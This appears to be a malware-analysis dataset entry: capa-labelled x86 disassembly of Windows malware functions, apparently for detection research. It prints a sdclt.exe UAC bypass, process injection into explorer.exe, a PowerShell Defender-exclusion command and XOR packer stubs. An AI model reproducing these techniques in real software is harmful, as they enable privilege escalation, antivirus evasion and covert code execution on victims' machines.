joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41313a
Capabilities:
Create process on windows
Delete registry key
Get common file path
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
push esi
push edi
call fcn.0041111b
cmp eax, 1
je 0x413273
push dword [0x559cb0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 4], edi
je 0x413182
lea ecx, [ebp - 8]
call fcn.00410cff
call fcn.00412e91
mov esi, 0x400
lea eax, [ebp - 0x64c]
push esi
push edi
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x64c]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x64c]
mov esi, 0x418fe6
push eax
push esi
call fcn.00412e2c
push esi
push str.DelegateExecute
call fcn.00412e2c
add esp, 0x10
lea eax, [ebp - 0x24c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str._sdclt.exe
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 1
push edi
push edi
lea eax, [ebp - 0x24c]
mov esi, 0x4176a8
push eax
push esi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
movaps xmm0, xmmword [0x41a900]
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x44], 0x3c
mov dword [ebp - 0x40], 0x40
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], esi
movups xmmword [ebp - 0x30], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp - 4], edi
je 0x413251
lea ecx, [ebp - 8]
call fcn.00410cd8
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.SoftwareClassesFolder_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
xor eax, eax
pop esi
leave
ret

Function at 0x413279
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, edx
mov eax, ebx
cdq
and edx, 3
push esi
push edi
lea edi, [edx + eax]
mov edx, dword [ebp + 8]
sar edi, 2
lea esi, [ecx + edi*4]
neg edi
je 0x4132ba
imul eax, dword [esi + edi*4], 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, edx
rol eax, 0xd
imul edx, eax, 5
sub edx, 0x19ab949c
add edi, 1
jne 0x413297
mov eax, ebx
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x4132e0
sub eax, 1
je 0x4132d7
sub eax, 1
jne 0x4132f6
movzx ecx, byte [esi + 2]
shl ecx, 0x10
movzx eax, byte [esi + 1]
shl eax, 8
xor ecx, eax
movzx eax, byte [esi]
xor eax, ecx
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor edx, eax
xor edx, ebx
mov eax, edx
shr eax, 0x10
xor eax, edx
imul ecx, eax, 0x85ebca6b
pop edi
pop esi
pop ebx
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0xc2b2ae35
mov ecx, eax
shr ecx, 0x10
xor ecx, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
pop ebp
ret
Function at 0x4133b6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov edi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4133f4
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4133f9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov edi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x413437
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4134a2
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x400000
mov edi, edx
mov esi, ecx
call fcn.00401085
pop ecx
mov ebx, eax
xor eax, eax
push eax
push 0x80
push 3
push eax
push eax
push closesocket
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4134df
and dword [edi], 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
mov dword [edi], eax
push ecx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4134ff
and dword [edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x41350d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 4
mov eax, edx
xor edi, edi
push 0x1000
push eax
push edi
mov dword [ebp - 4], eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 4]
mov ebx, eax
lea eax, [edx - 1]
add eax, esi
mov cl, byte [eax]
not cl
mov byte [edi + ebx], cl
inc edi
dec eax
cmp edi, edx
jbe 0x413537
lea eax, [ebp - 8]
push eax
push 0x40
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x413559
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
mov ebx, edx
mov edi, ecx
call fcn.00401133
xor esi, esi
mov dword [ebp - 4], eax
pop ecx
test ebx, ebx
jle 0x41358a
mov ecx, dword [ebp + 8]
mov eax, esi
cdq
idiv dword [ebp - 4]
mov al, byte [edx + ecx]
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jl 0x413579
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x413eba
Capabilities:
Allocate or change rwx memory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x413f7a
cmp dword [ebp - 4], ebx
je 0x413f6a
push 0x40
push 0x1000
push 0xff
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x14
push str.System32cmd.exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
push eax
call fcn.0040102c
add esp, 0xc
lea eax, [ebp - 0x60]
push 0x44
push ebx
push eax
call fcn.00401052
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x413f7a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xc]
jmp 0x413f75
call fcn.0041405f
test eax, eax
je 0x413f7a
mov edx, eax
call fcn.00413f7f
pop edi
pop esi
pop ebx
leave
ret

Function at 0x413f7f
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, 0xff
mov dword [ebp - 0x10c], eax
push ebx
call fcn.00401085
pop ecx
push ebx
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.004011a4
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
pop ecx
pop ecx
push 0x40
push 0x3000
push 0x800
push 0
push edi
call esi
push 0
push 0x800
push 0x426208
mov ebx, eax
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call edi
lea eax, [ebp - 8]
push eax
push 0x40
push 0x800
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 4
push 0x3000
push 0x103
push 0
push dword [ebp - 4]
call esi
push 0
mov esi, eax
lea eax, [ebp - 0x10c]
push 0x103
push eax
push esi
push dword [ebp - 4]
call edi
xor ecx, ecx
lea eax, [ebx + 0x10e]
push ecx
push ecx
push esi
push eax
push ecx
push ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
mov dword [0x559cb4], eax
pop ebx
leave
ret
Function at 0x41405f
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, 0x128
mov esi, eax
push edi
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.00401052
add esp, 0xc
mov dword [ebp - 0x128], edi
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x4140c8
lea eax, [ebp - 0x104]
push str.explorer.exe
push eax
call fcn.00401176
pop ecx
pop ecx
test eax, eax
je 0x4140d9
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4140a3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret
mov eax, dword [ebp - 0x120]
jmp 0x4140d5

Function at 0x4143ee
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push edi
mov esi, edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 0x4175b0
push 1
push edi
push 0x417600
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x414486
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edi
push edx
push 0x4175f0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x414476
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
jmp 0x414452
mov ecx, dword [ebp - 0xc]
inc esi
test ecx, ecx
je 0x414452
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 0xc], edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 0xc]
push edi
push edx
push 1
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x414441
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x414476
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], edi
mov edx, dword [ebp - 8]
test edx, edx
je 0x414486
mov ecx, dword [edx]
push edx
call dword [ecx + 8]
mov dword [ebp - 8], edi
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x4148b6
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x18], ecx
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 0xc], edi
push eax
push 0x41a77c
push 1
push edi
push 0x417600
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x414a0d
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edi
push edx
push 0x4175f0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x414a0d
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
mov ebx, edi
jmp 0x4149c9
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0xc]
push edx
push 0x417580
push edi
lea eax, [eax + ebx*4]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
test eax, eax
jne 0x4149e7
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push edi
push edx
push 0x41a714
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x414975
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push edi
push edx
push str.FriendlyName
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x4149e7
push 0x1c
pop ecx
call fcn.00406099
test eax, eax
je 0x41498c
mov ecx, eax
call fcn.00414b6e
mov edx, eax
jmp 0x41498e
mov edx, edi
mov esi, dword [ebp - 0x20]
movzx eax, word [esi]
test ax, ax
je 0x4149b7
mov ecx, eax
mov eax, dword [edx + 4]
mov word [eax + edi*2], cx
mov ecx, dword [edx]
mov al, byte [esi]
lea esi, [esi + 2]
mov byte [edi + ecx], al
inc edi
movzx eax, word [esi]
mov ecx, eax
test ax, ax
jne 0x41499b
mov ecx, dword [ebp - 0x18]
push edx
mov dword [edx + 8], ebx
lea ecx, [ecx + 4]
call fcn.00402503
inc ebx
xor edi, edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x10], edi
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x41491e
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x4149f7
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x414a07
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 8], edi
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x414a12
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
call fcn.004143ee
xor ecx, ecx
cmp eax, ebx
lea eax, [ebp - 0x10]
push eax
push 0x41a77c
cmovb ebx, ecx
xor esi, esi
push 1
push esi
push 0x417600
mov dword [edi], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x414acc
mov eax, dword [ecx]
lea edx, [ebp - 4]
push esi
push edx
push 0x4175f0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x414acc
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
and dword [ebp - 8], esi
jmp 0x414a97
mov eax, dword [ebp - 0xc]
push edi
push 0x4175a0
push 0
mov ecx, dword [eax]
push 0
push eax
call dword [ecx + 0x20]
cmp dword [edi], 0
je 0x414a93
cmp esi, ebx
je 0x414aae
mov ecx, edi
inc esi
call fcn.00402562
and dword [ebp - 8], 0
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0xc]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x414a6f
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x414abf
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x414acc
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x414f7e
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
mov ebx, pe_nt_image_headers32
push ebx
call fcn.00401085
push ebx
mov esi, eax
call fcn.00401085
push ebx
push 0
push esi
mov edi, eax
call fcn.00401052
push ebx
push 0
push edi
call fcn.00401052
add esp, 0x20
push ebx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, str.powershell_Add_MpPreference__ExclusionPath
push ebx
call fcn.00401133
push eax
push ebx
push edi
call fcn.0040102c
push 3
lea eax, [edi + 0x2b]
push esi
push eax
call fcn.0040102c
add esp, 0x1c
lea eax, [esi + 0xff]
push 1
push eax
push edi
call fcn.00401133
pop ecx
add eax, edi
push eax
call fcn.0040102c
add esp, 0xc
push 0
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebx
ret
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x34d028d8
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x5faf6ee2
nop
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x232a2d8a
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..rdata
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0xd092d27
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x40f47e
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov dword [esp + 8], ecx
mov edi, dword [esp + 0x2c]
mov ax, word [0x49142c]
xor eax, 0x3fc0
mov word [0x49142c], ax
mov ax, word [0x491750]
cwde
mov ecx, 0x924f89ea
sub ecx, eax
and ecx, 0x6198f105
mov eax, dword [0x489694]
imul eax, ecx
mov dword [0x489694], eax
mov eax, dword [0x4884fc]
lea ecx, [eax + 1]
mov dword [0x4884fc], ecx
mov ecx, dword [0x48a26c]
sar ecx, 6
mov edx, dword [0x48ac34]
imul edx, eax
imul edx, ecx
mov dword [0x48ac34], edx
mov ax, word [0x4909b0]
cwde
mov ecx, dword [0x488d28]
lea edx, [ecx + 1]
mov dword [0x488d28], edx
lea eax, [ecx + eax + 0x3a5a3b69]
mov ecx, dword [0x48bfb4]
imul ecx, eax
mov dword [0x48bfb4], ecx
test edi, edi
je 0x40f6ce
mov eax, dword [esp + 0x28]
mov dword [esp + 0xc], eax
mov ebx, dword [esp + 0x24]
lea eax, [ebx + 8]
mov dword [esp + 4], eax
mov eax, dword [0x489938]
not eax
mov ecx, dword [0x48cc90]
imul ecx, eax
imul eax, ecx, 0xf19a2bdd
mov dword [0x48cc90], eax
mov ecx, dword [esp + 8]
push edi
push ebx
call fcn.004055f4
mov ecx, dword [0x48c084]
xor ecx, 0x8a8937c8
cmp ecx, 0x2918804
jg 0x40f57f
mov cx, word [0x48e87a]
xor ecx, 0x8443
mov word [0x48e87a], cx
jmp 0x40f5aa
mov ecx, dword [0x489d50]
lea edx, [ecx + 1]
mov dword [0x489d50], edx
add ecx, 0x8c2c
or ecx, 0x41d
mov dx, word [0x490328]
xor edx, ecx
mov word [0x490328], dx
cmp eax, edi
jle 0x40f5c6
add dword [0x48ca38], 0x10b68103
or dword [0x487928], 0xb19fc9c7
mov esi, edi
jmp 0x40f5f2
mov ecx, dword [0x488e74]
imul ecx, ecx, 0x8f0e031f
mov dword [0x488e74], ecx
mov ecx, dword [0x48756c]
add ecx, 0xef4701f
and ecx, 0x172ca525
mov dword [0x48dee4], ecx
mov esi, eax
mov ecx, dword [0x48b3b8]
imul ecx, ecx, 0x41826
mov dword [0x48b3b8], ecx
test esi, esi
je 0x40f64e
not eax
mov ecx, edi
not ecx
cmp eax, ecx
jge 0x40f614
mov eax, ecx
not eax
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0xc]
mov bp, word [0x48e206]
movsx ebp, bp
mov ebx, 0x3c1091dd
sub ebx, ebp
and ebx, 0x28d59d14
or dword [0x487610], ebx
mov bl, byte [ecx]
xor byte [edx], bl
and dword [0x4882ec], 0xf43be8af
inc edx
inc ecx
dec eax
jne 0x40f61e
mov eax, dword [0x487500]
mov ecx, dword [0x488194]
add ecx, eax
or ecx, 0xc8f86022
cmp ecx, 0xe5f3fb5e
jb 0x40f675
and dword [0x488a50], 0x1883573e
jmp 0x40f68b
mov eax, dword [0x4895e4]
inc eax
mov dword [0x4895e4], eax
or eax, 0xadd287c
add dword [0x4886f4], eax
mov ebx, dword [esp + 0x24]
push esi
push ebx
call fcn.0042be68
xor dword [0x486fac], 0xe3fbe473
add dword [esp + 0xc], esi
mov ax, word [0x4907ba]
imul eax, eax, 0x4ee3
mov word [0x4907ba], ax
mov ax, word [0x491080]
add dword [0x48bd84], 0x8fc26a45
sub edi, esi
jne 0x40f52f
xor dword [0x489278], 0xdff37a5c
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x40fe5b
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
xor dword [0x48847c], 0xbaea2231
mov edx, dword [0x488c84]
imul edx, edx, 0x40bdf5c3
mov dword [0x488c84], edx
mov edx, dword [0x489c94]
lea esi, [edx + 1]
mov dword [0x489c94], esi
cmp edx, 0x305d9d78
jl 0x40feac
mov dx, word [0x490690]
movsx edx, dx
or dword [0x48d144], edx
jmp 0x40fed4
mov edx, dword [0x489a48]
lea esi, [edx + 1]
mov dword [0x489a48], esi
mov esi, 0xca570fc4
sub esi, edx
mov edx, dword [0x487cc0]
shr edx, 4
add edx, esi
mov word [0x48eec6], dx
xor dword [0x487088], 0xe2b88664
mov dx, word [0x48e59c]
movsx edx, dx
and edx, 0x7a6131de
xor dword [0x489e30], edx
mov edx, ecx
shr edx, 8
mov si, word [0x490f0c]
lea edi, [esi + 1]
mov word [0x490f0c], di
movsx esi, si
add esi, 0x821aa88e
or dword [0x48b704], esi
mov esi, ecx
shr esi, 0x10
test eax, 0x3fffffff
je 0x40ffb8
mov edi, dword [esp + 0x14]
shl eax, 2
mov ebx, dword [0x48dc10]
imul ebx, ebx, 0xd9c4b3ce
mov dword [0x48dc10], ebx
shl esi, 0x10
shl edx, 8
movzx edx, dx
or edx, esi
movzx ebx, cl
or ebx, edx
xor dword [edi], ebx
and dword [0x487a88], 0x47f869a3
shr ebx, 1
shl ecx, 0x1f
or ecx, ebx
shr edx, 9
mov dword [0x4898c4], 0x82009a10
movzx esi, bl
add edx, ebx
mov ebx, dword [0x48904c]
lea ebp, [ebx - 1]
mov dword [0x48904c], ebp
add dword [0x488ce0], ebx
movzx ebx, dl
add ebx, esi
mov esi, dword [0x48a5d8]
imul esi, esi, 0xebd47ad7
mov dword [0x48a5d8], esi
add edi, 4
mov esi, ecx
shr esi, 0x10
add eax, 0xfffffffc
mov ecx, ebx
jne 0x40ff30
jmp 0x40ffba
mov ebx, ecx
mov eax, dword [0x48c310]
lea ecx, [eax + 1]
mov dword [0x48c310], ecx
mov ecx, dword [0x48cfe4]
not ecx
imul ecx, ecx, 0xc88a0a1f
or ecx, eax
cmp ecx, 0x6fd74f49
jg 0x40fff1
mov ax, word [0x4909d0]
add eax, 0xffffcf67
mov word [0x4909d0], ax
shl esi, 0x10
shl edx, 8
movzx ecx, dx
or ecx, esi
movzx eax, bl
or eax, ecx
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x41652c
Capabilities:
Hash data with md5

Disassembly:
mov dword [0x48ab34], 0xa9eb71de
mov dword [ecx], 0
mov eax, dword [0x48ab34]
lea edx, [eax + 1]
mov dword [0x48ab34], edx
mov edx, dword [0x48a04c]
imul edx, eax
mov ax, word [0x48f468]
cwde
add eax, 0x63062497
cmp edx, eax
jg 0x41656d
or dword [0x48a878], 0x400845
mov dword [ecx + 4], 0
mov eax, dword [0x48ca70]
or dword [0x489da8], eax
mov dword [ecx + 8], 0x67452301
mov eax, dword [0x48c4cc]
lea edx, [eax + 1]
mov dword [0x48c4cc], edx
mov dword [0x4898a0], eax
mov dword [ecx + 0xc], 0xefcdab89
mov eax, dword [0x48c3bc]
imul eax, eax, 0xde1be4dc
mov dword [0x48c3bc], eax
mov dword [ecx + 0x10], 0x98badcfe
add dword [0x48995c], 0x859859db
mov dword [ecx + 0x14], 0x10325476
mov eax, dword [0x48d900]
mov ecx, 0xf5d3e3d5
sub ecx, eax
add dword [0x4874ec], ecx
ret